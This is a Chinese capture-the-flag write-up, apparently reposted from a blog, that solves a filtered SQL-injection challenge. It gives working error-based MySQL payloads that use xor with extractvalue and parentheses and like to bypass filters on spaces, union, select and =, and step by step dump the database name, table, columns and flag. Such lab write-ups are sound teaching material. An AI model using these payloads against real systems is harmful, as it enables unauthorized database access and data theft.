题目界面

 

根据源码可以知道,这里get了两个变量,username和password

发现单引号有报错,双引号没有,没提示有括号,所以应该是普通单引号闭合的字符型注入点

尝试order by爆字段数发现有

 

 说明有过滤,一个个试发现如and/空格/union/select/=//**/等都被过滤了

所以这里尝试报错注入

  • 报错注入—>爆数据库名
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23

得到数据库名geek

1、这里的^的意义是异或的作用,具体作用可以去搜索异或注入,这里是为了执行后面的extractvalue函数

2、%23的转义为#,这里只能用%23,直接用#发现会报错

3、因为空格被过滤,这里用()来代替空格

  • 爆表名:得到表名H4rDsq1
    username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
    #语句主要用()绕过了空格,用like绕过了=号
  • 爆列名:得到表名id/username/password
    username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
    #同上,语句不变改一下变量就行
  • 找到flag
    check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
    #这里要注意!select aaa from table_bbb;不需要引号!!!!!

    可是只显示了flag其中的一段。

    剩下的用right()显示其他位数的

1 GROUP_CONCAT()                        #将组中的字符串连接成为具有各种选项的单个字符串。
2 CONCAT(s1,s2...sn)                    #将字符串 s1,s2 等多个字符串合并为一个字符串
3 CONCAT_WS(x, s1,s2...sn)            #同 CONCAT() 函数
4 LEFT(s,n)                            #返回字符串 s 的前 n 个字符
5 RIGHT(s,n)                            #返回字符串 s 的后 n 个字符
6 SUBSTR(s, start, length)            #从字符串 s 的 start 位置截取长度为 length 的子字符串
7 SUBSTRING(s, start, length)            #同 SUBSTR() 函数

拼接起来可以得到flag

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/nanne1ess/p/15661840.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!